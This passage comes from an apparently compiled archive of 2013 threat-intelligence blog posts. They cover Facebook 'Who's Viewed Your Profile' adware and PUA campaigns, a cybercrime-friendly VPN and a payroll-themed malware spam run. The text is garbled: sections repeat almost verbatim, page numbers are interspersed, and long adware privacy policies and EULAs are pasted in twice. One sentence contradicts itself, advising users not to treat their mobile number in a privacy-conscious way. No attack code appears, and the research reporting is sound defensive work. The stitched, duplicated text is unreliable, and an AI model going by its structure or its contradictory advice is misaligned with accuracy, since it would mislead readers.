
Interestingly, both novice players in this market segment, and the experienced ones,

are implementing basic evasive tactics, such as, for instance, the need to provide a valid

mobile number, where a potential victim will receive a confirmation code for accessing the

inventory of rogue games and applications, thereby preventing automatic acquisition of the

apps for further analysis. Moreover, providing a valid mobile number

to the cybercriminals

behind the campaign, is naturally prone to be abused in ways largely based on the preferences

of those who obtained them through such a way, therefore users are advised not to treat their

mobile number in a privacy conscious way.

Cybercrime-friendly VPN service provider pitches itself as being 'recommended by Edward Snowden'

December 3rd, 2013 by **Dancho Danchev**

We've recently spotted a multi-hop Russian cybercrime-friendly VPN service provider — ad featured not syndicated at a well known cybercrime-friendly community – that is relying on fake celebrity endorsement on its way to attract new customers, in this particular case, it's pitching itself as being recommended by ex-NSA contractor Edward Snowden. How have anonymization tactics evolved over the last couple of years? Have the bad guys been 'innovating' on their way to cover the malicious/fraudulent online activity orchestrated by them? Let'd discuss some of the current trends in this ever-green market segment within the cybercrime ecosystem.

Fake 'October's Billing Address Code' (BAC) form themed spam campaign leads to malware

November 27th, 2013 by **Dancho Danchev**

Have you received a casual-sounding email enticing you into signing a Billing Address Code (BAC) form for October, in order for the Payroll Manager to proceed with the transaction? Based on our statistics, tens of thousands of users received these malicious spam emails over the last 24 hours, with the cybercriminal(s) behind them clearly interested in expanding the size of their botnet through good old fashioned 'casual social engineering' campaigns.

9.12.2 Facebook Circulating 'Who's Viewed Your Profile' Campaign Exposes 800k+

Users to CrossRider PUA/Rogue Firefox Add-ons/Android Adware AirPush

(2013-12-04 02:25)

A massive privacy-violating, Facebook circulating "Who's Viewed Your Profile" campaign, has

been operating beneath the radar, exposing over 800,000 users internationally, to a cocktail

of [1]**PUAs (Potentially Unwanted Applications)**, rogue Firefox Add-ons impersonating Adobe's

Flash Player, as well as the Android based adware AirPush.

Relying on a proven social engineering tactic of "offering what's not being offered in

general", next to hosting the rogue files on legitimate service providers – Google Docs and

Dropbox in this particular case – the campaign is a great example that the ubiquitous for the

social network social engineering scheme, continues to trick gullible and uninformed users

into installing privacy-violating applications on their hosts/mobile devices.

Let's dissect the campaign, expose its infrastructure, (conservatively) assess the dam-

age, and provide fresh MD5s for the currently served privacy-violating PUAs, Firefox add-ons,

and Android adware.

4891

Time to (conservatively) assess the campaign's damage over the year(s):

4892

The click-through rate should be considered conservative, and it remains unknown whether

the URL shortening service was used by the cybercriminal(s) since day one of the campaign.

4893

The campaign remains active, and is just the tip of the iceberg in terms of similar campaigns

tricking Facebook's users into thinking that they can eventually see who's viewed their profile.

Facebook users who stumble across such campaigns on their own, or their friends' Walls, are

advised [6]**to consider reporting the campaign back to Facebook**, immediately.

9.12.3 Facebook Circulating 'Who's Viewed Your Profile' Campaign Exposes 800k+

Users to CrossRider PUA/Rogue Firefox Add-ons/Android Adware AirPush

(2013-12-04 02:25)

A massive privacy-violating, Facebook circulating "Who's Viewed Your Profile" campaign,

has been operating beneath the radar, exposing over 800,000 users internationally, to a

cocktail of [1]**PUAs (Potentially Unwanted Applications)**, rogue Firefox Add-ons impersonating

Adobe's Flash Player, as well as the Android based adware AirPush.

Relying on a proven social engineering tactic of "offering what's not being offered in

4895

general", next to hosting the rogue files on legitimate service providers

– Google Docs and

Dropbox in this particular case – the campaign is a great example that the ubiquitous for the

social network social engineering scheme, continues to trick gullible and uninformed users

into installing privacy-violating applications on their hosts/mobile devices.

Let's dissect the campaign, expose its infrastructure, (conservatively) assess the dam-

age, and provide fresh MD5s for the currently served privacy-violating PUAs, Firefox add-ons,

and Android adware.

9.12.4 Continuing Facebook "Who's Viewed Your Profile" Campaign Affects Another

190k+ Users, Exposes Malicious Cybercrime Ecosystem (2013-12-11 05:01)

Last week, immediately after I published the initial analysis detailing [1]**a massive privacy-**

violating "Who's Viewed Your Profile" campaign, that was circulating across Facebook, the

cybercriminals behind it, supposedly took it offline, with one of the main redirectors now

pointing to 127.0.0.1.

Not surprisingly, the primary campaign has multiple sub-campaigns still in circulation,

which based on the latest statistics – embedded within the campaign on the same day they

supposedly shut it down – has already exposed another 190,000+ of the social network's

users – the original campaign appears to have been launched in 2011 having already exposed

800,000+ users – to more rogue, privacy violating apps – **JS.Febipos**, Mindspark Interactive

Network's **MyImageConverter** and **Trojan-Ransomer.CLE**, in this particular case.

Let's dissect the still circulating campaign, expose the entire infrastructure supporting it,

establish direct connections with it to related malicious campaigns, indicating that someone's

either multi-tasking, or that their malicious/fraudulent activities share the same infrastructure,

provide MD5s for the currently served privacy-violating apps, as well as list the actual –

currently live – hosting locations.

4902

Privacy Policy

This policy describes how and why DislikeIt LLC. Incorporated in the United States ("dba DislikeIt") collects non-personally identifable data from users and website visitors to DislikeIt's website (DislikeIt.com), and how that data will be used. DislikeIt is committed to respecting the privacy of non-personal identifiable data gathered.

Use of Data

DislikeIt uses non-personally identifable data collected from users and website visitors in order to:

-To improve the quality and functionality of the Software and the website, to enhance your experience, to create new services, including customized services, to change or cancel existing content or services and for other internal and statistical purposes;
-To present you relevant content, marketing materials and advertisements, by analyzing your interests from the web pages and you visit and online services that you use;
-To provide you with support and handle inquires;
-To enforce the Software EULA;
-To comply with any applicable law and assist law enforcement agencies as required;
-To conduct surveys and market researches;
-We may use anonymous, statistical or aggregated information about the Software's use and share, publish, post, disseminate, transmit or otherwise communicate or make available such information, to suppliers, business partners, sponsors, affiliates and any other third party, at our sole discretion.

Cookies and Log Files

Cookies may be used on some pages of our site. Cookies are small text files placed on your hard drive that assist us in providing a more customized website experience. It is DislikeIt's policy to use cookies to make navigation of our website easier for visitors. If you are concerned about cookies, most browsers permit individuals to decline cookies. A user refusing cookies can still fully navigate our website. In order to properly manage our website we may anonymously log information on our systems, and identify categories of visitors by items such as domains and browser types. These statistics are used to manage the operational efficiency of our systems.

Age Limit

We never knowingly collect or maintain information at or on our website from those we actually know are under 18, and no part of our website is directed at or structured to attract anyone under 18. Visitors younger than 18 years of age may NOT use the Site and the Software and must LEAVE immediately.

Changes to Policy

From time to time, we may revise this policy and we will post the revised Policy on the Site. Therefore, it is recommended that you read it periodically. All substantial changes made to this policy will be notified on the Site, at our sole discretion, and will take effect immediately.

Governing Law

This Privacy Policy is governed by and construed in accordance with the laws of the United States. You agree to submit any dispute arising out of your use of this Web site to the exclusive jurisdiction of the courts of THE UNITED STATES.

End User License Agreement

NOTICE TO USER: THIS END USER LICENSE AGREEMENT ("EULA" or "AGREEMENT") APPLIES WITH RESPECT TO SOFTWARE APPLICATIONS AND DIGITAL CONTENT OWNED AND PROVIDED BY Dabbleit, AND ITS SUBSIDIARIES (REFERRED TO IN THIS AGREEMENT AS "Dabbleit") FROM ANY Dabbleit WEBSITE. THIS AGREEMENT SETS FORTH YOUR RIGHTS AND OBLIGATIONS WITH RESPECT TO YOUR USE OF ANY Dabbleit SOFTWARE ("SOFTWARE"). BUT SHALL NOT GOVERN YOUR USE OF ANY THIRD PARTY SOFTWARE. PLEASE READ THIS AGREEMENT CAREFULLY. BY CLICKING "ACCEPT," "FINISH," "CONTINUE" OR A SIMILAR ACKNOWLEDGMENT BELOW, OR BY USING ALL OR ANY PORTION OF THE SOFTWARE, YOU ACCEPT ALL THE TERMS AND CONDITIONS OF THIS AGREEMENT. YOU AGREE THAT THIS AGREEMENT IS ENFORCEABLE LIKE ANY WRITTEN NEGOTIATED AGREEMENT SIGNED BY YOU. IF YOU DO NOT AGREE, DO NOT INSTALL OR USE THE SOFTWARE.

1. Definitions. "Software" means (a) the Dabbleit, or any other software or digital content owned and provided by Dabbleit, that accompanies this Agreement, and (b) any bug fixes, upgrades, modified versions or updates to the Software (collectively referred to as "Updates") that Dabbleit subsequently provide to you. "Use," "Used" or "Using" means to access, install, download, copy or benefit from utilizing the functionality of the Software.

2. Age Limitation. You must be at least 18 years of age to Use the Software. By accepting the terms of this Agreement and Using the Software, you represent that you are over the age of 18. As long as you comply with, and subject to, the terms of this Agreement, Dabbleit grant to you a non-exclusive, revocable, limited license to download and install the most current generally available version of the Software, in binary executable form only, solely for the purposes described in this Agreement.

3. Other Software. In addition to the Software, you will also be given the opportunity to access, download and/or use the technologies, services and/or content owned by third parties (collectively, "Other Software"). If you choose to access or use such Other Software, you acknowledge and agree that your rights to such Other Software are governed solely by the license terms and conditions accompanying the Other Software. For example, you may be required to click and accept additional end user license terms ("Other EULA") prior to the download, installation, copying or use of such Other Software. The Other EULA governs your use of Other Software, and not the terms of this Agreement. However, such Other EULA shall not affect any terms in this Agreement or your use of the Software. You further agree that Dabbleit are not responsible for any loss or damage of any sort incurred as a result of your download, installation, or use of Other Software, and you hereby waive and hold Dabbleit harmless from any losses arising under any claim you may have against Dabbleit with respect to Other Software.

4. Restrictions. You will (a) not reverse engineer, disassemble or decompile the Software or attempt to discover or recreate the source code to the Software, except as otherwise required by applicable law, (b) comply with all applicable laws, including U.S. export control laws, in your Use of the Software, (c) not make any modification, adaptation, improvement, enhancement, translation or derivative work of or to the Software, (d) not remove, alter or obscure any proprietary notices (including copyright notices) of Dabbleit or its licensors in the Software, (e) not Use the Software for purposes for which it is not designed, and (f) only Use the Software for personal, non-commercial use.

5. Intellectual Property Rights. The Software is the intellectual property of, and owned by Dabbleit and its licensors and suppliers. The structure, organization and code of the Software are the valuable trade secrets and confidential information of Dabbleit and its licensors and suppliers. The Software is protected by state, federal and international copyright protections, including without limitation by the United States copyright law, international treaty provisions and applicable laws in the country in which it is being used. Except as expressly stated herein, this Agreement does not grant you any intellectual property rights in the Software by implication, estoppel or any other legal theory, and all rights not expressly granted in this Agreement are reserved by Dabbleit and its assigns, licensors and suppliers.

6. Third Party Software; Notice and Attribution. The Software may include third party's software bundle subject to open source or third party license terms. You acknowledge and agree that your right to use those publicly available components of the Software is governed by the terms applicable to each application ("Other Software Terms"). In the event of any conflict with the express terms of this Agreement and the Other Software Terms, the Other Software Terms of such publicly available license shall control your use of the relevant application.

7. Display of suggested search results. By installing and/or using the Software you grant Dabbleit permission to periodically show you search titles based browser activity. To display the search ads, the user must click on the keyword search on the search result page for example click on HTTP://WWW.Dabbleit.COM/features.php.
Dabbleit will display enhanced search results(may include organic and sponsored ads) with Google Search Results, Youtube Video Results, Google Image Results and also has an option to view similar sites for the keyword search title.

You hereby consent to these actions. Please note that you may receive search results for Adult oriented websites if you utilize keywords connected to, search for or view Adult websites. An Adult website is one that contains or references (whether via audio, video, audiovisual, images, sounds or text) any of the following: profanity, violence, blood and gore, weapons, use of alcohol, drugs, tobacco, online gambling, pornography, erotica, erotic images, nudity, sex, sexually explicit images, and sexual references. All Search results are derived from third parties and Dabbleit as such does not take responsibility for transactions done with the third party websites. However, if any of the search results breach local laws please advise Dabbleit immediately via INFO@Dabbleit.COM.

8. Uninstallation. You understand and agree that the presence of the Software on your computer is voluntary and that you may remove the Software from your computer at any time. The Software may be uninstalled by clicking to the "Uninstall link" at the bottom of the main Browser page and following instructions on your computer. For specific uninstall instructions, go to HTTP://WWW.Dabbleit.COM/UNINSTALLHTML.

9. Updates. Dabbleit, in its sole discretion, may provide you with Updates to the Software as part of this Agreement. The Software will automatically check with Dabbleit servers for the existence of any Update that has been released, and in the event that one is available, the Software will update itself automatically. Nothing herein shall be construed or interpreted as requiring Dabbleit to provide Updates. Dabbleit will not install any new software or Update that in Dabbleit reasonable judgment has functionality that is materially different from the functionality of the previously installed Software without your prior consent.

10. Disclaimer of Warranties and Remedies; Indemnity.

10.1. No Warranty; Disclaimer. YOUR USE OF THE SOFTWARE IS AT YOUR SOLE RISK. THE SOFTWARE IS PROVIDED ON AN "AS IS" AND "AS AVAILABLE" BASIS. Dabbleit, AND ITS LICENSORS AND SUPPLIERS, EXPRESSLY DISCLAIM ANY AND ALL WARRANTIES OF ANY KIND, WHETHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. Dabbleit, AND ITS LICENSORS AND SUPPLIERS, MAKE NO WARRANTY THAT (a) THE SOFTWARE WILL MEET YOUR REQUIREMENTS, (b) THE SOFTWARE WILL BE UNINTERRUPTED, TIMELY, SECURE, OR ERROR-FREE, (c) THE RESULTS THAT MAY BE OBTAINED FROM THE USE OF THE SOFTWARE WILL BE ACCURATE OR RELIABLE, (d) THE QUALITY OF ANY PRODUCTS, SERVICES, INFORMATION, OR OTHER MATERIAL PURCHASED OR OBTAINED BY YOU THROUGH THE SOFTWARE WILL MEET YOUR EXPECTATIONS, OR (e) ANY ERRORS IN THE SOFTWARE WILL BE CORRECTED. ANY OTHER SOFTWARE DOWNLOADED OR OTHERWISE OBTAINED VIA Dabbleit SOFTWARE OR THE USE OF Dabbleit SOFTWARE ARE OBTAINED AND USED AT YOUR OWN DISCRETION AND RISK AND Dabbleit EXPRESSLY DISCLAIM ALL WARRANTIES IN AND TO SUCH OTHER SOFTWARE. ANY MATERIAL DOWNLOADED OR OTHERWISE OBTAINED THROUGH THE USE OF THE SOFTWARE, INCLUDING OTHER SOFTWARE, IS OBTAINED AT YOUR OWN DISCRETION AND RISK AND YOU WILL BE SOLELY RESPONSIBLE FOR ANY DAMAGE TO YOUR COMPUTER SYSTEM OR LOSS OF DATA THAT RESULTS FROM THE DOWNLOAD OF ANY SUCH MATERIAL. NO ADVICE OR INFORMATION, WHETHER ORAL OR WRITTEN, OBTAINED BY YOU FROM Dabbleit OR THROUGH OR FROM THE SOFTWARE SHALL CREATE ANY WARRANTY.

10.2. Limitation of Damages. NEITHER Dabbleit NOR ANY OF ITS LICENSORS OR SUPPLIERS WILL HAVE ANY, AND YOU RELEASE Dabbleit AND ALL OF ITS LICENSORS AND SUPPLIERS FROM ANY, LIABILITY (WHETHER IN CONTRACT, WARRANTY, TORT, NEGLIGENCE OR OTHERWISE) FOR ANY DAMAGES SUSTAINED BY YOU ARISING FROM THE USE OR INABILITY TO USE THE SOFTWARE OR THE OTHER SOFTWARE, INCLUDING, WITHOUT LIMITATION, ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS OF DATA, SAVINGS, OR PROFITS OR THE COST OF PROCURING SUBSTITUTE GOODS, EVEN IF Dabbleit OR ANY OF ITS LICENSORS OR SUPPLIERS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. IN NO EVENT SHALL Dabbleit'S OR ANY OF ITS LICENSORS' OR SUPPLIERS' ENTIRE LIABILITY ARISING OUT OF OR IN CONNECTION WITH THIS AGREEMENT EXCEED ONE HUNDRED UNITED STATES DOLLARS ($100.00). THE LIMITATIONS IN THIS SECTION WILL APPLY NOTWITHSTANDING THE FAILURE OF ESSENTIAL PURPOSE OF ANY LIMITED REMEDY UNDER THIS AGREEMENT.

SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF CERTAIN WARRANTIES OR THE LIMITATION OR EXCLUSION OF LIABILITY FOR INCIDENTAL OR CONSEQUENTIAL DAMAGES. ACCORDINGLY, SOME OF THE ABOVE LIMITATIONS MAY NOT APPLY TO YOU. IN SUCH JURISDICTIONS, THE FOREGOING DISCLAIMERS SHALL APPLY TO THE GREATEST EXTENT PERMITTED BY APPLICABLE LAW OR SHALL BE RECONSTRUCTED TO COMPLY WITH THE DISCLAIMER'S INTENT TO THE FULLEST EXTENT PERMITTED BY SUCH JURISDICTION.

Any representations made with respect to, and support or assistance offered by Dabbleit in connection with, the Software are offered by Dabbleit only and not by any third party providing open source to Dabbleit.

11. Use of Information. By installing the Software, you grant Dabbleit permission to collect and use certain information. You acknowledge that you have reviewed Dabbleit Privacy Policy, which describes Dabbleit practices with respect to the collection, use and disclosure of information in connection with your use of the Software.

12. Compatibility. Dabbleit do not warrant that the Software will be compatible with your hardware or other software installed on your computer system. Compatibility issues may cause your computer's performance to suffer. In the event that the Software is not compatible with your hardware or other software installed on your computer system, the Software can be uninstalled. Please refer to Section 8 (above) for detailed uninstall directions. Like all software, the Software utilizes some of your computer's resources to run, including system memory and your Internet connection. Use of the Software on a computer with inadequate system resources will cause each computer's performance to suffer.

13. User Representations and Warranties. You acknowledge, represent and warrant that (a) you own the computer on which you are installing the Software, or have the authority to install the Software on such computer, (b) your installation and/or Use of the Software will not violate any local, state or federal laws that apply to you or to the Use or installation of the Software, and (c) Dabbleit are not causing the Software to be installed on your computer, but has provided the Software to you, which you are installing of your own volition.

14. Indemnification. You agree to defend, indemnify, and hold harmless Dabbleit, its licensors and suppliers, and each of their respective officers, directors and employees, from and against any lawsuits, claims, losses, damages, fines and expenses (including attorneys' fees and costs) arising out of your use of the Software or your breach of this Agreement.

15. Export. You agree that the Software may not be acquired, shipped, transported, exported, or re-exported (a) into (or to a national or resident of) any U.S. embargoed country or (b) to anyone on the U.S. Treasury Department's list of Specially Designated Nationals or the U.S. Department of Commerce's Table of Denial Orders. By using the Software, you represent and warrant that you are not located in, under control of, or a national or resident of any such country or on any such list.

16. Governing Law; Dispute Resolution. This Agreement will be governed by and construed in accordance with the laws of THE UNITED STATES, without regard to its choice of law principles to the contrary. Any controversy, dispute or claim arising out of or relating to this Agreement or breach thereof shall be resolved by binding arbitration conducted in THE UNITED STATES. The parties shall bear their own respective costs and attorneys' fees. You agree that, regardless of any statute or law to the contrary, any claim or cause of action arising out of or related to use of the webpage, the Software, the services or this Agreement must be made within one (1) year after such claim or cause of action arose or be forever barred.

17. Miscellaneous. This is the entire agreement between Dabbleit and you relating to the Software, and it supersedes any prior representations, discussions, undertakings, communications or advertising relating to the Software. If any part of this Agreement is held by a court to be illegal, invalid or unenforceable, then that provision shall be deemed severable and will not affect the validity of the balance of the Agreement, which will remain valid and enforceable according to its terms. This Agreement may only be modified by a writing signed by an authorized officer of Dabbleit. If you violate any term of this Agreement, Dabbleit may terminate this Agreement without warning any other rights. This Agreement is assignable by Dabbleit but you may not assign your rights and obligations under this Agreement.

Based on the latest performance metrics for the campaign, over 190,000 users have already

interacted with this sub-campaign, since 4th of December, when I initially analyzed the

primary campaign.

Monitoring of the campaign is naturally in progress. Updates will be posted as soon as new

developments take place.

9.12.5 Continuing Facebook "Who's Viewed Your Profile" Campaign Affects Another

190k+ Users, Exposes Malicious Cybercrime Ecosystem (2013-12-11 05:01)

Last week, immediately after I published the initial analysis detailing [1]**a massive privacy-**

violating "Who's Viewed Your Profile" campaign, that was circulating across Facebook, the

cybercriminals behind it, supposedly took it offline, with one of the main redirectors now

pointing to 127.0.0.1.

Not surprisingly, the primary campaign has multiple sub-campaigns still in circulation,

which based on the latest statistics – embedded within the campaign on the same day they

supposedly shut it down – has already exposed another 190,000+ of the social network's

users – the original campaign appears to have been launched in 2011 having already exposed

800,000+ users – to more rogue, privacy violating apps – **JS.Febipos**, Mindspark Interactive

Network's **MyImageConverter** and **Trojan-Ransomer.CLE**, in this particular case.

Let's dissect the still circulating campaign, expose the entire infrastructure supporting it,

establish direct connections with it to related malicious campaigns, indicating that someone's

either multi-tasking, or that their malicious/fraudulent activities share the same infrastructure,

provide MD5s for the currently served privacy-violating apps, as well as list the actual –

currently live – hosting locations.

Privacy Policy

This policy describes how and why DislikeIt LLC. Incorporated in the United States ("dba DislikeIt") collects non-personally identifable data from users and website visitors to DislikeIt's website (DislikeIt.com), and how that data will be used. DislikeIt is committed to respecting the privacy of non-personal identifiable data gathered.

Use of Data

DislikeIt uses non-personally identifable data collected from users and website visitors in order to:

-To improve the quality and functionality of the Software and the website, to enhance your experience, to create new services, including customized services, to change or cancel existing content or services and for other internal and statistical purposes;
-To present you relevant content, marketing materials and advertisements, by analyzing your interests from the web pages and you visit and online services that you use;
-To provide you with support and handle inquires;
-To enforce the Software EULA;
-To comply with any applicable law and assist law enforcement agencies as required;
-To conduct surveys and market researches;
-We may use anonymous, statistical or aggregated information about the Software's use and share, publish, post, disseminate, transmit or otherwise communicate or make available such information, to suppliers, business partners, sponsors, affiliates and any other third party, at our sole discretion.

Cookies and Log Files

Cookies may be used on some pages of our site. Cookies are small text files placed on your hard drive that assist us in providing a more customized website experience. It is DislikeIt's policy to use cookies to make navigation of our website easier for visitors. If you are concerned about cookies, most browsers permit individuals to decline cookies. A user refusing cookies can still fully navigate our website. In order to properly manage our website we may anonymously log information on our systems, and identify categories of visitors by items such as domains and browser types. These statistics are used to manage the operational efficiency of our systems.

Age Limit

We never knowingly collect or maintain information at or on our website from those we actually know are under 18, and no part of our website is directed at or structured to attract anyone under 18. Visitors younger than 18 years of age may NOT use the Site and the Software and must LEAVE immediately.

Changes to Policy

From time to time, we may revise this policy and we will post the revised Policy on the Site. Therefore, it is recommended that you read it periodically. All substantial changes made to this policy will be notified on the Site, at our sole discretion, and will take effect immediately.

Governing Law

This Privacy Policy is governed by and construed in accordance with the laws of the United States. You agree to submit any dispute arising out of your use of this Web site to the exclusive jurisdiction of the courts of THE UNITED STATES.

End User License Agreement

NOTICE TO USER: THIS END-USER LICENSE AGREEMENT ("EULA" or "AGREEMENT") APPLIES WITH RESPECT TO SOFTWARE APPLICATIONS AND DIGITAL CONTENT OWNED AND PROVIDED BY Dashlock, and ITS SUBSIDIARIES (REFERRED TO IN THIS AGREEMENT AS "Dashlock") FROM ANY Dashlock WEBSITE. THIS AGREEMENT SETS FORTH YOUR RIGHTS AND OBLIGATIONS WITH RESPECT TO YOUR USE OF ANY Dashlock SOFTWARE ("SOFTWARE"). BUT SHALL NOT GOVERN YOUR USE OF ANY THIRD PARTY SOFTWARE. PLEASE READ THIS AGREEMENT CAREFULLY. BY CLICKING "ACCEPT," "FINISH," "CONTINUE" OR A SIMILAR ACKNOWLEDGMENT BELOW, OR BY USING ALL OR ANY PORTION OF THE SOFTWARE, YOU ACCEPT ALL THE TERMS AND CONDITIONS OF THIS AGREEMENT. YOU AGREE THAT THIS AGREEMENT IS ENFORCEABLE LIKE ANY WRITTEN NEGOTIATED AGREEMENT SIGNED BY YOU. IF YOU DO NOT AGREE, DO NOT INSTALL OR USE THE SOFTWARE.

1. Definitions. "Software" means (a) the Dashlock, or any other software or digital content owned and provided by Dashlock, that accompanies this Agreement, and (b) any bug fixes, upgrades, modified versions or updates to the Software (collectively referred to as "Updates") that Dashlock subsequently provide to you. "Use," "Used" or "Using" means to access, install, download, copy or benefit from utilizing the functionality of the Software.

2. Age Limitation. You must be at least 18 years of age to Use the Software. By accepting the terms of this Agreement and Using the Software, you represent that you are over the age of 18. As long as you comply with, and subject to, the terms of this Agreement, Dashlock grant to you a non-exclusive, revocable, limited license to download and install the most current generally available version of the Software, in binary executable form only, solely for the purposes described in this Agreement.

3. Other Software. In addition to the Software, you will also be given the opportunity to access, download and/or use the technologies, services and/or content owned by third parties (collectively, "Other Software"). If you choose to access or use such Other Software, you acknowledge and agree that your rights to such Other Software are governed solely by the license terms and conditions accompanying the Other Software. For example, you may be required to click and accept additional end user license terms ("Other EULA") prior to the download, installation, copying or use of such Other Software. The Other EULA governs your use of Other Software, and not the terms of this Agreement. However, such Other EULA shall not affect any terms in this Agreement or your use of the Software. You further agree that Dashlock are not responsible for any loss or damage of any sort incurred as a result of your download, installation, or use of Other Software, and you hereby waive and hold Dashlock harmless from any losses arising under any claim you may have against Dashlock with respect to Other Software.

4. Restrictions. You will (a) not reverse engineer, disassemble or decompile the Software or attempt to discover or recreate the source code to the Software, except as otherwise required by applicable law, (b) comply with all applicable laws, including U.S. export control laws, in your Use of the Software, (c) not make any modification, adaptation, improvement, enhancement, translation or derivative work of or to the Software, (d) not remove, alter or obscure any proprietary notices (including copyright notices) of Dashlock or its licensors in the Software, (e) not Use the Software for purposes for which it is not designed, and (f) only Use the Software for personal, non-commercial use.

5. Intellectual Property Rights. The Software is the intellectual property of, and owned by Dashlock and its licensors and suppliers. The structure, organization and code of the Software are the valuable trade secrets and confidential information of Dashlock and its licensors and suppliers. The Software is protected by state, federal and international copyright protections, including without limitation by the United States copyright law, international treaty provisions and applicable laws in the country in which it is being used. Except as expressly stated herein, this Agreement does not grant you any intellectual property rights in the Software by implication, estoppel or any other legal theory, and all rights not expressly granted in this Agreement are reserved by Dashlock and its assigns, licensors and suppliers.

6. Third Party Software; Notice and Attribution. The Software may include third party's software bundle subject to open source or third party license terms. You acknowledge and agree that your right to use those publicly available components of the Software is governed by the terms applicable to each application ("Other Software Terms"). In the event of any conflict with the express terms of this Agreement and the Other Software Terms, the Other Software Terms of such publicly available license shall control your use of the relevant application.

7. Display of suggested search results. By installing and/or using the Software you grant Dashlock permission to periodically show you search titles based browser activity. To display the search ads, the user must click on the keyword search on the search result page for example click on HTTP://WWW.Dashlock.COM/features.php.
Dashlock will display enhanced search results(ads) include organic and sponsored ads(ads with Google Search Results, Youtube Video Results, Google Image Results and also has an option to view similar sites for the keyword search title.

You hereby consent to these actions. Please note that you may receive search results for Adult-oriented websites if you utilize keywords connected to, search for or view Adult websites. An Adult website is one that contains or references (whether via audio, video, audiovisual, images, sounds or text) any of the following: profanity, violence, blood and gore, weapons, use of alcohol, drugs, tobacco, online gambling, pornography, erotica, erotic images, nudity, sex, sensually explicit images, and sexual references. All Search results are derived from third parties and Dashlock as such does not take responsibility for transactions done with the third party websites. However, if any of the search results breach local laws please advise Dashlock immediately via INFO@Dashlock.COM.

8. Uninstallation. You understand and agree that the presence of the Software on your computer is voluntary and that you may remove the Software from your computer at any time. The Software may be uninstalled by clicking to the "Uninstall link" at the bottom of the main Browser page and following instructions on your computer. For specific uninstall instructions, go to HTTP://WWW.Dashlock.COM/UNINSTALL.HTML.

9. Updates. Dashlock, in its sole discretion, may provide you with Updates to the Software as part of this Agreement. The Software will automatically check with Dashlock servers for the existence of any Update that has been released, and in the event that one is available, the Software will update itself automatically. Nothing herein shall be construed or interpreted as requiring Dashlock to provide Updates. Dashlock will not install any new software or Update that in Dashlock reasonable judgment has functionality that is materially different from the functionality of the previously installed Software without your prior consent.

10. Disclaimer of Warranties and Remedies; Indemnity.

10.1. No Warranty; Disclaimer. YOUR USE OF THE SOFTWARE IS AT YOUR SOLE RISK. THE SOFTWARE IS PROVIDED ON AN "AS IS" AND "AS AVAILABLE" BASIS. Dashlock, AND ITS LICENSORS AND SUPPLIERS, EXPRESSLY DISCLAIM ANY AND ALL WARRANTIES OF ANY KIND, WHETHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT. Dashlock, AND ITS LICENSORS AND SUPPLIERS, MAKE NO WARRANTY THAT (a) THE SOFTWARE WILL MEET YOUR REQUIREMENTS, (b) THE SOFTWARE WILL BE UNINTERRUPTED, TIMELY, SECURE, OR ERROR-FREE, (c) THE RESULTS THAT MAY BE OBTAINED FROM THE USE OF THE SOFTWARE WILL BE ACCURATE OR RELIABLE, (d) THE QUALITY OF ANY PRODUCTS, SERVICES, INFORMATION, OR OTHER MATERIAL PURCHASED OR OBTAINED BY YOU THROUGH THE SOFTWARE WILL MEET YOUR EXPECTATIONS, OR (e) ANY ERRORS IN THE SOFTWARE WILL BE CORRECTED. ANY OTHER SOFTWARE DOWNLOADED OR OTHERWISE OBTAINED VIA Dashlock SOFTWARE OR THE USE OF Dashlock SOFTWARE ARE OBTAINED AND USED AT YOUR OWN DISCRETION AND RISK AND Dashlock EXPRESSLY DISCLAIM ALL WARRANTIES IN AND TO SUCH OTHER SOFTWARE. ANY MATERIAL DOWNLOADED OR OTHERWISE OBTAINED THROUGH THE USE OF THE SOFTWARE, INCLUDING OTHER SOFTWARE, IS OBTAINED AT YOUR OWN DISCRETION AND RISK AND YOU WILL BE SOLELY RESPONSIBLE FOR ANY DAMAGE TO YOUR COMPUTER SYSTEM OR LOSS OF DATA THAT RESULTS FROM THE DOWNLOAD OF ANY SUCH MATERIAL. NO ADVICE OR INFORMATION, WHETHER ORAL OR WRITTEN, OBTAINED BY YOU FROM Dashlock OR THROUGH OR FROM THE SOFTWARE SHALL CREATE ANY WARRANTY.

10.2. Limitation of Damages. NEITHER Dashlock NOR ANY OF ITS LICENSORS OR SUPPLIERS WILL HAVE ANY, AND YOU RELEASE EACH AND ALL OF ITS LICENSORS AND SUPPLIERS FROM ANY, LIABILITY (WHETHER IN CONTRACT, WARRANTY, TORT, NEGLIGENCE OR OTHERWISE) FOR ANY DAMAGES SUSTAINED BY YOU ARISING FROM THE USE OR INABILITY TO USE THE SOFTWARE OR THE OTHER SOFTWARE, INCLUDING, WITHOUT LIMITATION, ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS OF DATA, SAVINGS, OR PROFITS OR THE COST OF PROCURING SUBSTITUTE GOODS, EVEN IF Dashlock OR ANY OF ITS LICENSORS OR SUPPLIERS HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. IN NO EVENT SHALL Dashlock'S OR ANY OF ITS LICENSORS' OR SUPPLIERS' ENTIRE LIABILITY ARISING OUT OF OR IN CONNECTION WITH THIS AGREEMENT EXCEED ONE HUNDRED UNITED STATES DOLLARS (US $100.00). THE LIMITATIONS IN THIS SECTION WILL APPLY NOTWITHSTANDING THE FAILURE OF ESSENTIAL PURPOSE OF ANY LIMITED REMEDY UNDER THIS AGREEMENT.

SOME JURISDICTIONS DO NOT ALLOW THE EXCLUSION OF CERTAIN WARRANTIES OR THE LIMITATION OR EXCLUSION OF LIABILITY FOR INCIDENTAL OR CONSEQUENTIAL DAMAGES. ACCORDINGLY, SOME OF THE ABOVE LIMITATIONS MAY NOT APPLY TO YOU. IN SUCH JURISDICTIONS, THE FOREGOING DISCLAIMERS SHALL APPLY TO THE GREATEST EXTENT PERMITTED BY APPLICABLE LAW OR SHALL BE RECONSTRUCTED TO COMPLY WITH THE DISCLAIMER'S INTENT TO THE FULLEST EXTENT PERMITTED BY SUCH JURISDICTION.

